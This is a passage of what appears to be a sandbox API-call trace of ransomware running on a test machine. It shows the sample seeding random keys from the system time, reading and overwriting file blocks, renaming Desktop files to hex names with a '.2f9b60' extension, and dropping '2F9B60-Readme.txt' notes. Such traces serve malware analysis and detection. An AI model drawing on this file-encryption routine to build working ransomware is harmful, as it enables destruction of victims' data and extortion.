lpNumberOfBytesRead=0x218df760*=0x3c00, lpOverlapped=0x0) returned 1 [0101.686] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x116ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0101.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869e40 [0101.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0101.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420178d0 [0101.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0101.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ec0) returned 1 [0101.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 [0101.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0101.688] WriteFile (in: hFile=0x1498, lpBuffer=0x420178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x218df760, lpOverlapped=0x0 | out: lpBuffer=0x420178d0*, lpNumberOfBytesWritten=0x218df760*=0x3c00, lpOverlapped=0x0) returned 1 [0101.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420178d0) returned 1 [0101.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced90f0 [0101.741] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.741] WriteFile (in: hFile=0x1498, lpBuffer=0x1b86fe40*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x218df810, lpOverlapped=0x0 | out: lpBuffer=0x1b86fe40*, lpNumberOfBytesWritten=0x218df810*=0x15e, lpOverlapped=0x0) returned 1 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0105.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f930 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c50 [0105.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c50) returned 1 [0105.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0105.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1ced9080 [0105.064] sprintf (in: _Dest=0x1ced9080, _Format="%c%c" | out: _Dest="17") returned 2 [0105.064] sprintf (in: _Dest=0x1ced9082, _Format="%c%c" | out: _Dest="aa") returned 2 [0105.064] sprintf (in: _Dest=0x1ced9084, _Format="%c%c" | out: _Dest="13") returned 2 [0105.064] sprintf (in: _Dest=0x1ced9086, _Format="%c%c" | out: _Dest="e1") returned 2 [0105.065] sprintf (in: _Dest=0x1ced9088, _Format="%c%c" | out: _Dest="f7") returned 2 [0105.065] sprintf (in: _Dest=0x1ced908a, _Format="%c%c" | out: _Dest="02") returned 2 [0105.065] sprintf (in: _Dest=0x1ced908c, _Format="%c%c" | out: _Dest="b1") returned 2 [0105.065] sprintf (in: _Dest=0x1ced908e, _Format="%c%c" | out: _Dest="1c") returned 2 [0105.065] sprintf (in: _Dest=0x1ced9090, _Format="%c%c" | out: _Dest="6e") returned 2 [0105.065] sprintf (in: _Dest=0x1ced9092, _Format="%c%c" | out: _Dest="90") returned 2 [0105.065] sprintf (in: _Dest=0x1ced9094, _Format="%c%c" | out: _Dest="58") returned 2 [0105.065] sprintf (in: _Dest=0x1ced9096, _Format="%c%c" | out: _Dest="7f") returned 2 [0105.065] sprintf (in: _Dest=0x1ced9098, _Format="%c%c" | out: _Dest="4e") returned 2 [0105.065] sprintf (in: _Dest=0x1ced909a, _Format="%c%c" | out: _Dest="d1") returned 2 [0105.065] sprintf (in: _Dest=0x1ced909c, _Format="%c%c" | out: _Dest="35") returned 2 [0105.065] sprintf (in: _Dest=0x1ced909e, _Format="%c%c" | out: _Dest="7a") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90a0, _Format="%c%c" | out: _Dest="62") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90a2, _Format="%c%c" | out: _Dest="5c") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90a4, _Format="%c%c" | out: _Dest="b4") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90a6, _Format="%c%c" | out: _Dest="54") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90a8, _Format="%c%c" | out: _Dest="c6") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90aa, _Format="%c%c" | out: _Dest="f2") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90ac, _Format="%c%c" | out: _Dest="9e") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90ae, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90b0, _Format="%c%c" | out: _Dest="57") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90b2, _Format="%c%c" | out: _Dest="fc") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90b4, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.065] sprintf (in: _Dest=0x1ced90b6, _Format="%c%c" | out: _Dest="00") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90b8, _Format="%c%c" | out: _Dest="85") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90ba, _Format="%c%c" | out: _Dest="41") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90bc, _Format="%c%c" | out: _Dest="17") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90be, _Format="%c%c" | out: _Dest="16") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90c0, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90c2, _Format="%c%c" | out: _Dest="e0") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90c4, _Format="%c%c" | out: _Dest="04") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90c6, _Format="%c%c" | out: _Dest="93") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90c8, _Format="%c%c" | out: _Dest="8b") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90ca, _Format="%c%c" | out: _Dest="19") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90cc, _Format="%c%c" | out: _Dest="04") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90ce, _Format="%c%c" | out: _Dest="11") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90d0, _Format="%c%c" | out: _Dest="bd") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90d2, _Format="%c%c" | out: _Dest="79") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90d4, _Format="%c%c" | out: _Dest="94") returned 2 [0105.066] sprintf (in: _Dest=0x1ced90d6, _Format="%c%c" | out: _Dest="b2") returned 2 [0105.066] RtlInitAnsiString (in: DestinationString=0x218df888, SourceString="17aa13e1f702b11c6e90587f4ed1357a625cb454c6f29eac57fc7b00854117165ae004938b190411bd7994b2" | out: DestinationString="17aa13e1f702b11c6e90587f4ed1357a625cb454c6f29eac57fc7b00854117165ae004938b190411bd7994b2") [0105.066] RtlAnsiStringToUnicodeString (in: DestinationString=0x218df858, SourceString="17aa13e1f702b11c6e90587f4ed1357a625cb454c6f29eac57fc7b00854117165ae004938b190411bd7994b2", AllocateDestinationString=1 | out: DestinationString="17aa13e1f702b11c6e90587f4ed1357a625cb454c6f29eac57fc7b00854117165ae004938b190411bd7994b2") returned 0x0 [0105.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278fb0 [0105.067] wcscat (in: _Dest=0x202a4890, _Source="17aa13e1f702b11c6e9058" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\17aa13e1f702b11c6e9058") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\17aa13e1f702b11c6e9058" [0105.067] wcscat (in: _Dest=0x202a4890, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\17aa13e1f702b11c6e9058.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\17aa13e1f702b11c6e9058.2f9b60" [0105.067] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\17aa13e1f702b11c6e9058.2f9b60", NtPathName=0x218df830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\17aa13e1f702b11c6e9058.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050d580 [0105.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d580) returned 1 [0105.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdd20) returned 1 [0105.718] NtQueryInformationFile (in: FileHandle=0x1498, IoStatusBlock=0x218df898, FileInformation=0x218df8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x218df898, FileInformation=0x218df8a8) returned 0x0 [0105.718] NtSetInformationFile (FileHandle=0x1498, IoStatusBlock=0x218df898, FileInformation=0x218df8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4890) returned 1 [0105.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278fb0) returned 1 [0105.725] FlushFileBuffers (hFile=0x1498) returned 1 [0105.727] CloseHandle (hObject=0x1498) returned 1 [0105.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ee10 [0105.728] wcscpy (in: _Dest=0x1b85ee10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0105.728] wcscat (in: _Dest=0x1b85ee10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0105.728] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0105.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0105.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784c70) returned 1 Thread: id = 775 os_tid = 0x1300 [0098.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-QYxqcKw5kODAiv3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2-qyxqckw5kodaiv3.gif")) returned 0x20 [0098.584] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-QYxqcKw5kODAiv3.gif", dwFileAttributes=0x20) returned 1 [0098.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-QYxqcKw5kODAiv3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2-qyxqckw5kodaiv3.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0098.584] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x219af980 | out: lpFileSize=0x219af980*=19891) returned 1 [0098.584] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x4daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.584] ReadFile (in: hFile=0x149c, lpBuffer=0x219af900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x219af948, lpOverlapped=0x0 | out: lpBuffer=0x219af900*, lpNumberOfBytesRead=0x219af948*=0x4, lpOverlapped=0x0) returned 1 [0098.585] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0098.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260530 [0098.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0098.585] NtQuerySystemTime (in: CurrentTime=0x219af840 | out: CurrentTime=0x219af840*=132462177041062000) returned 0x0 [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x423778ec [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x38b243ad [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x2718fe26 [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x2b26039b [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x58197f22 [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0xd2d3e2d [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x7c5544b [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x6308c980 [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x6eb54d6e [0098.585] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x6d74cdfc [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x59526a76 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0xd89cb30 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x281d9d2e [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x2759e1c2 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x37408df8 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x2532f41d [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x55beb2fb [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x576dcf6d [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x7aa269cf [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x3a91c889 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x3bc7fd1 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x44ebe3 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x5de1eca7 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x63061297 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x414ccf69 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x220166c6 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x1c4e0042 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x78976a11 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x2deaf282 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x147cf90e [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x38f5aed5 [0098.586] RtlRandomEx (in: Seed=0x219af830 | out: Seed=0x219af830) returned 0x14e2d823 [0098.594] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.594] ReadFile (in: hFile=0x149c, lpBuffer=0x201fd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x219af8a0, lpOverlapped=0x0 | out: lpBuffer=0x201fd170*, lpNumberOfBytesRead=0x219af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.595] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0098.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604a0) returned 1 [0098.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20200d80 [0098.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0098.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0098.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0098.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.596] WriteFile (in: hFile=0x149c, lpBuffer=0x20200d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x219af8a0, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesWritten=0x219af8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20200d80) returned 1 [0100.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201fd170) returned 1 [0100.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f6b0 [0100.912] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.912] WriteFile (in: hFile=0x149c, lpBuffer=0x1b86f670*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x219af950, lpOverlapped=0x0 | out: lpBuffer=0x1b86f670*, lpNumberOfBytesWritten=0x219af950*=0x11c, lpOverlapped=0x0) returned 1 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0101.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260bc0) returned 1 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9eef0 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b90 [0101.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b90) returned 1 [0101.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0101.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c190 [0101.906] sprintf (in: _Dest=0x1cd9c190, _Format="%c%c" | out: _Dest="7b") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c192, _Format="%c%c" | out: _Dest="22") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c194, _Format="%c%c" | out: _Dest="f5") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c196, _Format="%c%c" | out: _Dest="78") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c198, _Format="%c%c" | out: _Dest="3b") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c19a, _Format="%c%c" | out: _Dest="cf") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c19c, _Format="%c%c" | out: _Dest="b7") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c19e, _Format="%c%c" | out: _Dest="ef") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1a0, _Format="%c%c" | out: _Dest="7f") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1a2, _Format="%c%c" | out: _Dest="32") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1a4, _Format="%c%c" | out: _Dest="fe") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1a6, _Format="%c%c" | out: _Dest="9d") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1a8, _Format="%c%c" | out: _Dest="de") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1aa, _Format="%c%c" | out: _Dest="12") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1ac, _Format="%c%c" | out: _Dest="a7") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1ae, _Format="%c%c" | out: _Dest="2f") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1b0, _Format="%c%c" | out: _Dest="23") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1b2, _Format="%c%c" | out: _Dest="3c") returned 2 [0101.906] sprintf (in: _Dest=0x1cd9c1b4, _Format="%c%c" | out: _Dest="ad") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1b6, _Format="%c%c" | out: _Dest="43") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1b8, _Format="%c%c" | out: _Dest="ba") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1ba, _Format="%c%c" | out: _Dest="e0") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1bc, _Format="%c%c" | out: _Dest="f1") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1be, _Format="%c%c" | out: _Dest="4f") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1c0, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1c2, _Format="%c%c" | out: _Dest="3c") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1c4, _Format="%c%c" | out: _Dest="35") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1c6, _Format="%c%c" | out: _Dest="a8") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1c8, _Format="%c%c" | out: _Dest="e8") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1ca, _Format="%c%c" | out: _Dest="3d") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1cc, _Format="%c%c" | out: _Dest="a2") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1ce, _Format="%c%c" | out: _Dest="ab") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1d0, _Format="%c%c" | out: _Dest="11") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1d2, _Format="%c%c" | out: _Dest="32") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1d4, _Format="%c%c" | out: _Dest="df") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1d6, _Format="%c%c" | out: _Dest="e2") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1d8, _Format="%c%c" | out: _Dest="23") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1da, _Format="%c%c" | out: _Dest="d9") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1dc, _Format="%c%c" | out: _Dest="46") returned 2 [0101.907] sprintf (in: _Dest=0x1cd9c1de, _Format="%c%c" | out: _Dest="eb") returned 2 [0101.908] sprintf (in: _Dest=0x1cd9c1e0, _Format="%c%c" | out: _Dest="79") returned 2 [0101.908] sprintf (in: _Dest=0x1cd9c1e2, _Format="%c%c" | out: _Dest="fb") returned 2 [0101.908] RtlInitAnsiString (in: DestinationString=0x219af9c8, SourceString="7b22f5783bcfb7ef7f32fe9dde12a72f233cad43bae0f14f6f3c35a8e83da2ab1132dfe223d946eb79fb" | out: DestinationString="7b22f5783bcfb7ef7f32fe9dde12a72f233cad43bae0f14f6f3c35a8e83da2ab1132dfe223d946eb79fb") [0101.908] RtlAnsiStringToUnicodeString (in: DestinationString=0x219af998, SourceString="7b22f5783bcfb7ef7f32fe9dde12a72f233cad43bae0f14f6f3c35a8e83da2ab1132dfe223d946eb79fb", AllocateDestinationString=1 | out: DestinationString="7b22f5783bcfb7ef7f32fe9dde12a72f233cad43bae0f14f6f3c35a8e83da2ab1132dfe223d946eb79fb") returned 0x0 [0101.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278830 [0101.908] wcscat (in: _Dest=0x205098d0, _Source="7b22f5783bcfb7ef7f32f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7b22f5783bcfb7ef7f32f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7b22f5783bcfb7ef7f32f" [0101.908] wcscat (in: _Dest=0x205098d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7b22f5783bcfb7ef7f32f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7b22f5783bcfb7ef7f32f.2f9b60" [0101.908] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7b22f5783bcfb7ef7f32f.2f9b60", NtPathName=0x219af970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7b22f5783bcfb7ef7f32f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050bab0 [0108.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bab0) returned 1 [0108.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f0d0) returned 1 [0108.945] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x219af9d8, FileInformation=0x219af9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x219af9d8, FileInformation=0x219af9e8) returned 0x0 [0108.945] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x219af9d8, FileInformation=0x219af9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205098d0) returned 1 [0108.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278830) returned 1 [0108.948] FlushFileBuffers (hFile=0x149c) returned 1 [0108.951] CloseHandle (hObject=0x149c) returned 1 [0108.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8699c0 [0108.952] wcscpy (in: _Dest=0x1b8699c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.952] wcscat (in: _Dest=0x1b8699c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS 